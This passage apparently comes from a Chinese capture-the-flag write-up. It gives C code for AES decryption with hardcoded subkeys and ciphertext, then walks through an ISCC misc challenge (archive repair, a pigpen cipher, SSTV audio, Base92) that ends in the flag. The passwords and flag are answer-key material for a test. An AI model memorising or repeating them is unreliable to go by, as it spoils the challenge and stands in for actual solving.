0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
/**
* 获取整形数据的低8位的左4个位
*/
static int getLeft4Bit(int num) {
int left = num & 0x000000f0;
return left >> 4;
}
/**
* 获取整形数据的低8位的右4个位
*/
static int getRight4Bit(int num) {
return num & 0x0000000f;
}
/**
* 根据索引,从S盒中获得元素
*/
static int getNumFromSBox(int index) {
int row = getLeft4Bit(index);
int col = getRight4Bit(index);
return S[row][col];
}
/**
* 把一个字符转变成整型
*/
static int getIntFromChar(char c) {
int result = (int) c;
return result & 0x000000ff;
}
/**
* 把16个字符转变成4X4的数组,
* 该矩阵中字节的排列顺序为从上到下,
* 从左到右依次排列。
*/
static void convertToIntArray(char *str, int pa[4][4]) {
int k = 0;
unsigned char * pp = (unsigned char *)str;
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++) {
pa[j][i] = getIntFromChar(str[k]);
k++;
}
}
/**
* 打印4X4的数组
*/
static void printArray(int a[4][4]) {
int i,j;
for(i = 0; i < 4; i++){
for(j = 0; j < 4; j++)
printf("%x ", a[i][j]);
printf("\n");
}
printf("\n");
}
/**
* 打印字符串的ASSCI,
* 以十六进制显示。
*/
static void printASSCI(char *str, int len) {
int i;
for(i = 0; i < len; i++)
printf("0x%x ", getIntFromChar(str[i]));
printf("\n");
}
/**
* 把连续的4个字符合并成一个4字节的整型
*/
static int getWordFromStr(char *str) {
int one, two, three, four;
one = getIntFromChar(str[0]);
one = one << 24;
two = getIntFromChar(str[1]);
two = two << 16;
three = getIntFromChar(str[2]);
three = three << 8;
four = getIntFromChar(str[3]);
return one | two | three | four;
}
/**
* 把一个4字节的数的第一、二、三、四个字节取出,
* 入进一个4个元素的整型数组里面。
*/
static void splitIntToArray(int num, int array[4]) {
int one, two, three;
one = num >> 24;
array[0] = one & 0x000000ff;
two = num >> 16;
array[1] = two & 0x000000ff;
three = num >> 8;
array[2] = three & 0x000000ff;
array[3] = num & 0x000000ff;
}
/**
* 将数组中的元素循环左移step位
*/
static void leftLoop4int(int array[4], int step) {
int temp[4];
int i;
int index;
for(i = 0; i < 4; i++)
temp[i] = array[i];
index = step % 4 == 0 ? 0 : step % 4;
for(i = 0; i < 4; i++){
array[i] = temp[index];
index++;
index = index % 4;
}
}
/**
* 把数组中的第一、二、三和四元素分别作为
* 4字节整型的第一、二、三和四字节,合并成一个4字节整型
*/
static int mergeArrayToInt(int array[4]) {
int one = array[0] << 24;
int two = array[1] << 16;
int three = array[2] << 8;
int four = array[3];
return one | two | three | four;
}
/**
* 常量轮值表
*/
static const unsigned int Rcon[10] = { 0x01000000, 0x02000000,
0x04000000, 0x08000000,
0x10000000, 0x20000000,
0x40000000, 0x80000000,
0x1b000000, 0x36000000 };
/**
* 密钥扩展中的T函数
*/
static int T(int num, int round) {
int numArray[4];
int i;
int result;
splitIntToArray(num, numArray);
leftLoop4int(numArray, 1);//字循环
//字节代换
for(i = 0; i < 4; i++)
numArray[i] = getNumFromSBox(numArray[i]);
result = mergeArrayToInt(numArray);
return result ^ Rcon[round];
}
//密钥对应的扩展数组
static int w[44];
/**
* 打印W数组
*/
static void printW() {
int i, j;
for(i = 0, j = 1; i < 44; i++,j++){
printf("w[%d] = 0x%x ", i, w[i]);
if(j % 4 == 0)
printf("\n");
}
printf("\n");
}
/**
* 扩展密钥,结果是把w[44]中的每个元素初始化
*/
static void extendKey(char *key) {
int i,j;
for(i = 0; i < 4; i++)
w[i] = getWordFromStr(key + i * 4);
// w[0] = 0x30373430;
// w[1] = 0x63623964;
// w[2] = 0x62383633;
// w[3] = 0x636436F2;
for(i = 4, j = 0; i < 44; i++) {
if( i % 4 == 0) {
w[i] = w[i - 4] ^ T(w[i - 1], j);
j++;
}else {
w[i] = w[i - 4] ^ w[i - 1];
}
}
}
/**
* 轮密钥加
*/
static void addRoundKey(int array[4][4], int round) {
int warray[4];
int i,j;
for(i = 0; i < 4; i++) {
splitIntToArray(w[ round * 4 + i], warray);
for(j = 0; j < 4; j++) {
//printf("%x \n", warray[j]);
array[j][i] = array[j][i] ^ warray[j];
}
}
}
/**
* 字节代换
*/
static void subBytes(int array[4][4]){
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
array[i][j] = getNumFromSBox(array[i][j]);
}
/**
* 行移位
*/
static void shiftRows(int array[4][4]) {
int rowTwo[4], rowThree[4], rowFour[4];
int i;
for(i = 0; i < 4; i++) {
rowTwo[i] = array[1][i];
rowThree[i] = array[2][i];
rowFour[i] = array[3][i];
}
leftLoop4int(rowTwo, 1);
leftLoop4int(rowThree, 2);
leftLoop4int(rowFour, 3);
for(i = 0; i < 4; i++) {
array[1][i] = rowTwo[i];
array[2][i] = rowThree[i];
array[3][i] = rowFour[i];
}
}
/**
* 列混合要用到的矩阵
*/
static const int colM[4][4] = { 2, 3, 1, 1,
1, 2, 3, 1,
1, 1, 2, 3,
3, 1, 1, 2 };
static int GFMul2(int s) {
int result = s << 1;
int a7 = result & 0x00000100;
if(a7 != 0) {
result = result & 0x000000ff;
result = result ^ 0x1b;
}
return result;
}
static int GFMul3(int s) {
return GFMul2(s) ^ s;
}
static int GFMul4(int s) {
return GFMul2(GFMul2(s));
}
static int GFMul8(int s) {
return GFMul2(GFMul4(s));
}
static int GFMul9(int s) {
return GFMul8(s) ^ s;
}
static int GFMul11(int s) {
return GFMul9(s) ^ GFMul2(s);
}
static int GFMul12(int s) {
return GFMul8(s) ^ GFMul4(s);
}
static int GFMul13(int s) {
return GFMul12(s) ^ s;
}
static int GFMul14(int s) {
return GFMul12(s) ^ GFMul2(s);
}
/**
* GF上的二元运算
*/
static int GFMul(int n, int s) {
int result;
if(n == 1)
result = s;
else if(n == 2)
result = GFMul2(s);
else if(n == 3)
result = GFMul3(s);
else if(n == 0x9)
result = GFMul9(s);
else if(n == 0xb)//11
result = GFMul11(s);
else if(n == 0xd)//13
result = GFMul13(s);
else if(n == 0xe)//14
result = GFMul14(s);
return result;
}
/**
* 列混合
*/
static void mixColumns(int array[4][4]) {
int tempArray[4][4];
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
tempArray[i][j] = array[i][j];
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++){
array[i][j] = GFMul(colM[i][0],tempArray[0][j]) ^ GFMul(colM[i][1],tempArray[1][j])
^ GFMul(colM[i][2],tempArray[2][j]) ^ GFMul(colM[i][3], tempArray[3][j]);
}
}
/**
* 把4X4数组转回字符串
*/
static void convertArrayToStr(int array[4][4], char *str) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
*str++ = (char)array[j][i];
}
/**
* 检查密钥长度
*/
static int checkKeyLen(int len) {
if(len == 16)
return 1;
else
return 0;
}
/**
* 根据索引从逆S盒中获取值
*/
static int getNumFromS1Box(int index) {
int row = getLeft4Bit(index);
int col = getRight4Bit(index);
return S2[row][col];
}
/**
* 逆字节变换
*/
static void deSubBytes(int array[4][4]) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
array[i][j] = getNumFromS1Box(array[i][j]);
}
/**
* 把4个元素的数组循环右移step位
*/
static void rightLoop4int(int array[4], int step) {
int temp[4];
int i;
int index;
for(i = 0; i < 4; i++)
temp[i] = array[i];
index = step % 4 == 0 ? 0 : step % 4;
index = 3 - index;
for(i = 3; i >= 0; i--) {
array[i] = temp[index];
index--;
index = index == -1 ? 3 : index;
}
}
/**
* 逆行移位
*/
static void deShiftRows(int array[4][4]) {
int rowTwo[4], rowThree[4], rowFour[4];
int i;
for(i = 0; i < 4; i++) {
rowTwo[i] = array[1][i];
rowThree[i] = array[2][i];
rowFour[i] = array[3][i];
}
rightLoop4int(rowTwo, 1);
rightLoop4int(rowThree, 2);
rightLoop4int(rowFour, 3);
for(i = 0; i < 4; i++) {
array[1][i] = rowTwo[i];
array[2][i] = rowThree[i];
array[3][i] = rowFour[i];
}
}
/**
* 逆列混合用到的矩阵
*/
static const int deColM[4][4] = { 0xe, 0xb, 0xd, 0x9,
0x9, 0xe, 0xb, 0xd,
0xd, 0x9, 0xe, 0xb,
0xb, 0xd, 0x9, 0xe };
/**
* 逆列混合
*/
static void deMixColumns(int array[4][4]) {
int tempArray[4][4];
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
tempArray[i][j] = array[i][j];
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++){
array[i][j] = GFMul(deColM[i][0],tempArray[0][j]) ^ GFMul(deColM[i][1],tempArray[1][j])
^ GFMul(deColM[i][2],tempArray[2][j]) ^ GFMul(deColM[i][3], tempArray[3][j]);
}
}
/**
* 把两个4X4数组进行异或
*/
static void addRoundTowArray(int aArray[4][4],int bArray[4][4]) {
int i,j;
for(i = 0; i < 4; i++)
for(j = 0; j < 4; j++)
aArray[i][j] = aArray[i][j] ^ bArray[i][j];
}
/**
* 从4个32位的密钥字中获得4X4数组,
* 用于进行逆列混合
*/
static void getArrayFrom4W(int i, int array[4][4]) {
int index,j;
int colOne[4], colTwo[4], colThree[4], colFour[4];
index = i * 4;
splitIntToArray(w[index], colOne);
splitIntToArray(w[index + 1], colTwo);
splitIntToArray(w[index + 2], colThree);
splitIntToArray(w[index + 3], colFour);
for(j = 0; j < 4; j++) {
array[j][0] = colOne[j];
array[j][1] = colTwo[j];
array[j][2] = colThree[j];
array[j][3] = colFour[j];
}
}
/**
* 参数 c: 密文的字符串数组。
* 参数 clen: 密文的长度。
* 参数 key: 密钥的字符串数组。
*/
void deAes(char *c, int clen, char *key) {
int cArray[4][4];
int keylen,k;
keylen = strlen(key);
if(clen == 0 || clen % 16 != 0) {
printf("密文字符长度必须为16的倍数!现在的长度为%d\n",clen);
exit(0);
}
if(!checkKeyLen(keylen)) {
printf("密钥字符长度错误!长度必须为16、24和32。当前长度为%d\n",keylen);
exit(0);
}
extendKey(key);//扩展密钥
for(k = 0; k < clen; k += 16) {
int i;
int wArray[4][4];
convertToIntArray(c + k, cArray);
addRoundKey(cArray, 10);
for(i = 9; i >= 1; i--) {
deSubBytes(cArray);
deShiftRows(cArray);
deMixColumns(cArray);
getArrayFrom4W(i, wArray);
deMixColumns(wArray);
addRoundTowArray(cArray, wArray);
}
deSubBytes(cArray);
deShiftRows(cArray);
addRoundKey(cArray, 0);
convertArrayToStr(cArray, c + k);
}
}
/**
* 参数 p: 明文的字符串数组。
* 参数 plen: 明文的长度。
* 参数 key: 密钥的字符串数组。
*/
void aes(char *p, int plen, char *key){
int keylen = strlen(key);
int pArray[4][4];
int k,i;
if(plen == 0 || plen % 16 != 0) {
printf("明文字符长度必须为16的倍数!\n");
exit(0);
}
if(!checkKeyLen(keylen)) {
printf("密钥字符长度错误!长度必须为16。当前长度为%d\n",keylen);
exit(0);
}
extendKey(key);//扩展密钥
for(k = 0; k < plen; k += 16) {
convertToIntArray(p + k, pArray);
addRoundKey(pArray, 0);//一开始的轮密钥加
for(i = 1; i < 10; i++){
subBytes(pArray);//字节代换
shiftRows(pArray);//行移位
mixColumns(pArray);//列混合
addRoundKey(pArray, i);
}
subBytes(pArray);//字节代换
shiftRows(pArray);//行移位
addRoundKey(pArray, 10);
convertArrayToStr(pArray, p + k);
}
}
void myAddRoundKey(int pArray[4][4], int roundKey[11][16], int r) {
for(int i = 0; i < 4; i++) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] ^= roundKey[r][i * 4 + j];
}
}
}
void swap(int &a, int &b) {
int t;
t = a;
a = b;
b = t;
}
void myshift(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int rol = 0; rol < 4; rol++ ){
for (int i = 0; i < 4; ++i) {
tmpArr[(i + rol) % 4][rol] = pArray[i][rol];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void mydeshift(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int rol = 0; rol < 4; rol++ ){
for (int i = 0; i < 4; ++i) {
tmpArr[(i - rol + 4) % 4][rol] = pArray[i][rol];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void myTranspose(int pArray[4][4]) {
int tmpArr[4][4] = {0};
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
tmpArr[i][j] = pArray[j][i];
}
}
for (int i = 0; i < 4; ++i) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] = tmpArr[i][j];
}
}
}
void my_aes_cbc( int *in_, char * out_, int * iv_) {
int subkeys[11][16] = {
0x31, 0x62, 0x35, 0x63, 0x32, 0x31, 0x38, 0x61, 0x36, 0x38, 0x35, 0x39, 0x66, 0x63, 0x66, 0x32,
0x03, 0x99, 0x06, 0x98, 0x31, 0xA8, 0x3E, 0xF9, 0x07, 0x90, 0x0B, 0xC0, 0x61, 0xF3, 0x6D, 0xF2,
0xEE, 0x94, 0x3A, 0x95, 0xDF, 0x3C, 0x04, 0x6C, 0xD8, 0xAC, 0x0F, 0xAC, 0xB9, 0x5F, 0x62, 0x5E,
0xBC, 0x5B, 0x90, 0x5A, 0x63, 0x67, 0x94, 0x36, 0xBB, 0xCB, 0x9B, 0x9A, 0x02, 0x94, 0xF9, 0xC4,
0xC3, 0x79, 0x09, 0x78, 0xA0, 0x1E, 0x9D, 0x4E, 0x1B, 0xD5, 0x06, 0xD4, 0x19, 0x41, 0xFF, 0x10,
0x07, 0xFA, 0x1F, 0xFB, 0xA7, 0xE4, 0x82, 0xB5, 0xBC, 0x31, 0x84, 0x61, 0xA5, 0x70, 0x7B, 0x71,
0x21, 0xAB, 0x3E, 0xAA, 0x86, 0x4F, 0xBC, 0x1F, 0x3A, 0x7E, 0x38, 0x7E, 0x9F, 0x0E, 0x43, 0x0F,
0xBA, 0x00, 0x24, 0x01, 0x3C, 0x4F, 0x98, 0x1E, 0x06, 0x31, 0xA0, 0x60, 0x99, 0x3F, 0xE3, 0x6F,
0xD4, 0x75, 0x35, 0x74, 0xE8, 0x3A, 0xAD, 0x6A, 0xEE, 0x0B, 0x0D, 0x0A, 0x77, 0x34, 0xEE, 0x65,
0x3A, 0x6D, 0x1D, 0x6C, 0xD2, 0x57, 0xB0, 0x06, 0x3C, 0x5C, 0xBD, 0x0C, 0x4B, 0x68, 0x53, 0x69,
0xBF, 0x28, 0xF0, 0x29, 0x6D, 0x7F, 0x40, 0x2F, 0x51, 0x23, 0xFD, 0x23, 0x1A, 0x4B, 0xAE, 0x4A
};
int iv[4][4] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
int pArray[4][4] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101};
//convertToIntArray(in_, pArray);
memcpy(pArray, (void *)in_, 16 * 4);
memcpy(iv, (void *)iv_, 16 * 4);
// convertToIntArray(iv_, iv);
printArray(pArray);
printf("start decrypt\n");
myAddRoundKey(pArray, subkeys, 10);
for(int i = 9; i >= 1; i--) {
mydeshift(pArray);
deSubBytes(pArray);
printf("round %d end:\n", i);
printArray(pArray);
myAddRoundKey(pArray, subkeys, i);
myTranspose(pArray);
deMixColumns(pArray);//列混合
myTranspose(pArray);
}
mydeshift(pArray);
deSubBytes(pArray);
myAddRoundKey(pArray, subkeys, 0);
for (int i = 0; i < 4; i++) {
for (int j = 0; j < 4; ++j) {
pArray[i][j] ^= iv[i][j];
}
}
printf("result:\n");
printArray(pArray);
for(int i = 0; i < 4; i++){
for (int j = 0; j < 4; ++j) {
out_[i * 4 + j] = pArray[i][j];
}
}
}
int main(int argc, char const *argv[])
{
int myiv[] = {0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xDE, 0xAD, 0xBE, 0xEF, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xAA};
int data[] = {143, 217, 87, 27, 63, 222, 90, 206, 34, 56, 58, 199, 129, 54, 208, 101, 219, 87, 151, 84, 99, 59, 205, 133, 66, 20, 128, 13, 168, 241, 214, 244, 77, 159, 13, 141, 32, 4, 143, 255, 105, 178, 73, 189, 131, 170, 104, 33};
unsigned char data_out[49] = {0};
for(int i = 0; i < 3; i++){
my_aes_cbc(&data[16 * i], (char *)&data_out[16 * i], myiv);
memcpy(myiv, &data[16 * i], 16 * 4);
}
printf("%s", data_out);
}
解压压缩包得到三个文件:
先分析图片文件,winhex一顿操作,没发现东西
于是打开txt文件,看到一堆字符不知道干什么的:
0310172431040506070809-S24S-M01081520-0411182530-230929-SMTWTFS-0721241007-2518110410.13-T0826.10-MTWTF2420M.15-310309-M2227-0620230906
但文件名提示这是密码,数了数一共十三组字符串块,以-隔开,对照图片,画出图形,其中数字代表日期,字母代表星期的首字母,其中有一个干扰项,去掉后正好对应十二个月份:
明显是猪圈密码,对照下面的表解出密码ISCCVERYNICE
解压压缩包,但打不开报错,winhex分析
是个7z压缩的zip文件,里面是一个rar文件,利用winrar修复,得到如下可正常打开的文件:
先看看图片,winhex打开,修复图片CRC,直接改高度出现一个链接
打开链接,需要输入密码
回到3pm文件,3pm应该是MP3文件,自己命个名,利用Audacity没分析出来,这里应该用SSTV慢扫描:
具体使用过程SSTV-CTF
得到2jrl应该是密码,输入获取文件
Base92解密得到flag
ISCC{NobodyKnowsTaoWaThanMe!!!}